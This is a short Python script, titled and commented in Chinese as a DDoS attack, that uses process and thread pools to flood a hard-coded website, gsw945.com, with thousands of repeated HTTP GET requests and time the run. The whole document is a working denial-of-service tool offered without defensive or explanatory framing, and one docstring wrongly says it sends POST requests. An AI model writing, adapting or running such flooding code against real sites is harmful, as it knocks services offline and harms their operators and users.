DOS攻击
import os
import sys
import multiprocessing as mp
from multiprocessing import Pool
from multiprocessing.dummy import Pool as ThreadPool
from datetime import datetime
try:
import requests
except ImportError:
os.system('pip install requests')
import requests
WAVES = 128
MPS = 39
AMOUNTS = 36
THS = 20
def do_request(*args):
'''发送post请求(ddos发起的请求)'''
try:
resp = requests.get('https://gsw945.com/')
print(resp.ok)
return resp.ok
except:
return None
def do_ddos(*args):
'''ddos攻击实现'''
global THS, AMOUNTS
tpool = ThreadPool(THS)
tresult_proxy = tpool.map_async(do_request, range(0, AMOUNTS))
tpool.close()
tpool.join()
result = tresult_proxy.get()
return result
def main():
'''主调'''
global MPS, WAVES
pool = Pool(processes=MPS)
result_proxy = pool.map_async(do_ddos, range(0, WAVES))
pool.close()
pool.join()
result = result_proxy.get()
print(result)
if __name__ == '__main__':
if sys.platform == 'win32' or os.name == 'nt':
mp.freeze_support()
dt_begin = datetime.now()
begin_str = dt_begin.strftime('%Y-%m-%d %H:%M:%S.%f')
print('开始:', begin_str)
main()
dt_end = datetime.now()
end_str = dt_end.strftime('%Y-%m-%d %H:%M:%S.%f')
print('结束:', end_str)
dt_diff = dt_end - dt_begin
print('共用[{0.seconds}]秒[{0.microseconds}]微秒'.format(dt_diff))